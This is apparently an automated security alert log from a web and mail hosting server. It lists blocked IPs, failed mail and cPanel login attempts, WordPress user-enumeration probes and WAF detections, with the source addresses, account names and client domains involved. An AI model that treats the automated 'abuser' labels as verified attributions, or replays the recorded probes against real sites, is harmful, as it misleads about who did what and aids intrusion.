name: Imunify PAM. The IP has been locked by RBL
abuser: 93.241.232.14
country_id: 2921044
description:
Jun 12 00:31:27 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 93.241.232.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.241.232.14
country_id: 2921044
description:
2026-06-12 00:31:29 dovecot_login authenticator failed for H=p5df1e80e.dip0.t-ipconnect.de ([70.166.167.35]) [93.241.232.14]:59268: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.175.213.112
country_id: 6252001
description:
[2026-06-12 00:31:35 +0000] info [cpaneld] 5.175.213.112 - aogodmm "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.72.71.43
country_id: 1562822
description:
Jun 12 00:31:42 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.72.71.43 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 198.147.22.226
country_id: 6252001
description:
198.147.22.226 - - [12/Jun/2026:00:32:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920291&pdata=http%253A%252F%252Fkpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781224353 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/" "Mozilla/5.0 (Linux; arm_64; Android 14; TECNO KL5n) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.115 YaBrowser/26.4.4.115.00 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:198.147.22.226


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.200.38.66
country_id: 1210997
description:
2026-06-12 00:32:57 H=([103.200.38.66]) [103.200.38.66]:37864 F=<nameFdCedWZM7yqh@white-ways.com> rejected RCPT <nameFdCedWZM7yqh@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:33:40 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.149.194.96
country_id: 1269750
description:
2026-06-12 00:33:45 H=([103.149.194.96]) [103.149.194.96]:55699 F=<namel9teUbhMyx4x@white-ways.com> rejected RCPT <namel9teUbhMyx4x@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 203.189.156.239
country_id: 1831722
description:
2026-06-12 00:34:29 H=([203.189.156.239]) [203.189.156.239]:48915 F=<nameEKP7XWYmokpK@white-ways.com> rejected RCPT <nameEKP7XWYmokpK@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.127.223.133
country_id: 1269750
description:
2026-06-12 00:35:12 H=([45.127.223.133]) [45.127.223.133]:57458 F=<nameDsYigK5KovJp@white-ways.com> rejected RCPT <nameDsYigK5KovJp@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.168.175.226
country_id: 3175395
description:
2026-06-12 00:36:39 H=([185.168.175.226]) [185.168.175.226]:45563 F=<name4ttT3jTAEup7@white-ways.com> rejected RCPT <name4ttT3jTAEup7@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 187.11.70.46
country_id: 3469034
description:
2026-06-12 00:38:08 H=([187.11.70.46]) [187.11.70.46]:42734 F=<nametgnx6QwbgYkH@white-ways.com> rejected RCPT <nametgnx6QwbgYkH@white-ways.com>: Sender verify failed


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 174.118.45.202
country_id: 6251999
domain: tdn.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users/2?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 170.245.31.128
country_id: 3469034
description:
2026-06-12 00:38:52 H=([170.245.31.128]) [170.245.31.128]:51160 F=<nameDGSj36k1dUwZ@white-ways.com> rejected RCPT <nameDGSj36k1dUwZ@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:38:55 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 95.107.165.76
country_id: 783754
description:
2026-06-12 00:39:34 H=([95.107.165.76]) [95.107.165.76]:40222 F=<nameLRpkm73VDlTJ@white-ways.com> rejected RCPT <nameLRpkm73VDlTJ@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.19.183
country_id: 2300660
description:
Jun 12 00:39:50 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.19.183 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 95.111.40.173
country_id: 732800
description:
2026-06-12 00:40:18 H=([95.111.40.173]) [95.111.40.173]:51936 F=<nametb3fZ6aGRlIC@white-ways.com> rejected RCPT <nametb3fZ6aGRlIC@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 121.56.215.4
country_id: 1814991
description:
2026-06-12 00:41:08 H=([121.56.215.4]) [121.56.215.4]:39279 F=<namehfhmLBg45BE3@white-ways.com> rejected RCPT <namehfhmLBg45BE3@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 35.130.111.146
country_id: 6252001
description:
Jun 12 00:40:55 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 35.130.111.146 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 159.138.29.81
country_id: 1819730
description:
159.138.29.81 - - [12/Jun/2026:00:42:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854513&pdata=https%253A%252F%252F24heureinfo.tg%252Finternational%252Fau-senegal-lopposant-ousmane-sonko-arrete-a-dakar%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781224928 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/international/au-senegal-lopposant-ousmane-sonko-arrete-a-dakar/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:159.138.29.81


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 88.234.218.161
country_id: 298795
description:
88.234.218.161 - - [12/Jun/2026:00:41:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13135211&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D10426&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781224900 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=10426" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.2064.1432 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:88.234.218.161


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.91
country_id: 130758
description:
Jun 12 00:41:45 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 197.254.52.94
country_id: 192950
description:
2026-06-12 00:41:51 H=([197.254.52.94]) [197.254.52.94]:57484 F=<nameDKgzvDBb6pGK@white-ways.com> rejected RCPT <nameDKgzvDBb6pGK@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.93.167.144
country_id: 1835841
description:
Jun 12 00:44:33 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.93.167.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.19.195.12
country_id: 3144096
description:
Jun 12 00:44:43 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.19.195.12 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-06-12 00:44:35 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:39244: 535 Incorrect authentication data (set_id=tps@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-06-12 00:44:45 dovecot_login authenticator failed for H=(85-19-195-12.telia-isp.no) [85.19.195.12]:43290: 535 Incorrect authentication data (set_id=tps)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.72.71.43
country_id: 1562822
description:
Jun 12 00:45:50 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.72.71.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:45:57 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.233.19.111
country_id: 2921044
domain: hotelyabisso.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:104.233.19.111||TA:104.233.19.111||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 106.49.48.45
country_id: 6251999
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:session-ordinaire-2021-litra-cloture-les-comptes-de-lexercice-2020-et-evalue-les-activites-2021-a-mi-parcours/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:47:40 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 98.159.37.15
country_id: 6252001
description:
98.159.37.15 - - [12/Jun/2026:00:51:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10077585&pdata=https%253A%252F%252Fappflutter.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781225482 HTTP/2.0" 302 0 appflutter.free.netmaster.tg "https://appflutter.free.netmaster.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:98.159.37.15


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.15.238
country_id: 6252001
domain: civilemagazine.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:152.232.15.238||TA:152.232.15.238||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:52:46 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.41.145
country_id: 146669
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/06/33-1024x768-1-300x225.webp HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.102.130
country_id: 453733
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Salon BIOFACH 2024\xc2\xa0: Le Togo va r\xc3\xa9affirmer son statut d\xe2\x80\x99acteur dynamique du d\xc3\xa9veloppement durable sur la sc\xc3\xa8ne internationale | TOGODAILYNEWS&siteId=1&rec=1&rand=934301&h=8&m=53&s=0&url=http:/togodailynews.tg/salon-biofach-2024-le-togo-va-reaffirmer-son-statut-dacteur-dynamique-du-developpement-durable-sur-la-scene-internationale/&uid=0&pid=13565&visitorId=84b4241b188bb612&fvts=1781225580&vc=1&idn=0&refts=0&lvts=1781225580&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=3442&pvId=0E0IaD&browser=Chrome_47&os=Android_5.0&device=Mobile HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.102.130
country_id: 453733
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&ping=1&siteId=1&rec=1&rand=430673&h=8&m=53&s=15&url=http:/togodailynews.tg/salon-biofach-2024-le-togo-va-reaffirmer-son-statut-dacteur-dynamique-du-developpement-durable-sur-la-scene-internationale/&uid=0&pid=13565&visitorId=84b4241b188bb612&fvts=1781225580&vc=1&idn=0&refts=0&lvts=1781225580&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=3442&pvId=0E0IaD&browser=Chrome_47&os=Android_5.0&device=Mobile HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 194.180.232.170
country_id: 6252001
domain: togointerim.net
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.93
country_id: 3469034
description:
Jun 12 00:55:17 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.93
country_id: 3469034
description:
Jun 12 00:55:25 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 00:57:48 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.200.65.214
country_id: 3469034
description:
Jun 12 00:57:21 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.200.65.214 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 79.117.162.206
country_id: 2510769
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:79.117.162.206||TA:79.117.162.206||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.5.192
country_id: 690791
description:
Jun 12 01:05:07 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.5.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.5.192
country_id: 690791
description:
Jun 12 01:05:20 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.5.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:06:25 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.175.213.112
country_id: 6252001
description:
[2026-06-12 01:08:14 +0000] info [cpaneld] 5.175.213.112 - abttogo "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:08:40 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 205.210.31.248
country_id: 6252001
description:
Jun 12 01:09:22 ns5 pure-ftpd[1113520]: (?@205.210.31.248) [INFO] New connection from 205.210.31.248


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:11:58 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.91
country_id: 130758
description:
Jun 12 01:12:43 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 192.3.24.135
country_id: 6252001
domain: launetogo.tg
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: Invalid Content-Disposition header (-14): form-data; name=\"result[_msg]\\\\\";filename=\";name=\"result[_msg]\".||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:17:51 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.89.75.65
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.45.89.75.65||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 190.185.108.202
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.190.185.108.202||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.155.246
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-20.193.32.155.246||RSV:8.15||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.32.153.184
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:193.32.153.184||TA:193.32.153.184||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.89.75.30
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.45.89.75.30||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.68.221
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.152.232.68.221||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.152.127
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.193.32.152.127||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.73.31
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-20.152.232.73.31||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 168.196.239.73
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.168.196.239.73||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 161.115.230.161
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.161.115.230.161||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 200.71.127.31
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.200.71.127.31||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 86.48.11.124
country_id: 1880251
domain: apisolde.chuso.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw||User:yxhnfwxr||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.155.182
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.193.32.155.182||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.66.2
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.152.232.66.2||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 138.59.4.29
country_id: 3608932
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.138.59.4.29||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:22:36 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:27:14 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:27:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.76.128.35
country_id: 732800
description:
Jun 12 01:30:31 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.76.128.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:31:41 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 3.95.184.228
country_id: 6252001
domain: centif.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.7204.23 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.89.216.207
country_id: 3469034
description:
Jun 12 01:32:47 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.89.216.207 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:33:25 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 12 01:34:52 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.217.253.159
country_id: 1880251
description:
[2026-06-12 01:35:13 +0000] info [cpaneld] 217.217.253.159 - netflix "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user netflix (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.76.247.141
country_id: 933860
description:
Jun 12 01:35:16 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.76.247.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.76.247.141
country_id: 933860
description:
Jun 12 01:35:23 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.76.247.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-12 01:36:39 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:29656: 535 Incorrect authentication data (set_id=wp)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 12 01:36:37 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.217.253.159
country_id: 1880251
description:
[2026-06-12 01:37:41 +0000] info [cpaneld] 217.217.253.159 - kavznjyb "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kavznjyb (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 35.206.110.229
country_id: 6252001
domain: ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/100.0.4896.127 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 12 01:43:02 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-12 01:43:04 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:61376: 535 Incorrect authentication data (set_id=store.cart)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:42:57 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:43:56 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.91
country_id: 130758
description:
Jun 12 01:43:36 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.91 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.214.140.160
country_id: 1819730
description:
